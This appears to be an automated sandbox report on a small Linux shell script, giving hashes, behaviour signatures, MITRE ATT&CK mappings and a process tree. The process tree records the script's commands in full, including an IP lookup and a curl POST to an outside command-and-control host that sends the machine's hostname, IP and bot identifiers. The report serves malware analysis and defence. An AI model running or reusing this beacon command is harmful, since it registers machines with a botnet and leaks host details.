7bd9b104384732f52482278102a2756de0946f28c4e97b61e74e79b40b312a3a

Analysis

max time kernel
2s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/05/2026, 06:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_7bd9b104384732f52482278102a2756de0946f28c4e97b61e74e79b40b312a3a.sh
Size 747B
Sample260529-g7bmyaet21
SHA256 7bd9b104384732f52482278102a2756de0946f28c4e97b61e74e79b40b312a3a
MD5 10931b2611cf0fb12f6eb5d8b78980f4
SHA1 24651d102908297b52b3695533323febda5b304d
SHA512 68a4deb0db470bcf31ae5a8ddf164f3bb120545d89eb8bec7e25008fc3aac1dcc44bb3e22aeca762da1a98a21ded76038e3964ba5a5f0efe0f6c008a955970f9
TLSH
T1E50165EF343234721B5385E65C1391574D76C27F6BD01DA878E56B3409AE020632022E
MD5 SHA1 SHA512 TLSH

Score

6^/10

antivm discovery

Malware Config

Signatures

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api.ipify.org
1	api.ipify.org

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	sed

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
674	curl

/tmp/_7bd9b104384732f52482278102a2756de0946f28c4e97b61e74e79b40b312a3a.sh
/tmp/_7bd9b104384732f52482278102a2756de0946f28c4e97b61e74e79b40b312a3a.sh
1⤵
PID:650
- /usr/bin/awk
  awk "-F\"" "/IOPlatformUUID/{print \$4}"
  2⤵
  - Reads runtime system information
  PID:659
- /bin/hostname
  hostname
  2⤵
  PID:666
- /usr/bin/curl
  curl -s https://api.ipify.org
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:674
- /usr/bin/curl
  curl -s -X POST https://qw4c12qqqqoepwq.com/api/bot/heartbeat -H "Content-Type: application/json" -d "{\"bot_id\":\"\",\"build_id\":\"948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"ip\":\"85.203.46.153\",\"os_version\":\"\"}"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:684
- /bin/sed
  sed -n "s/.*\"code\":\"\$[^\"]*\$\".*/\\1/p"
  2⤵
  - Reads runtime system information
  PID:698

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads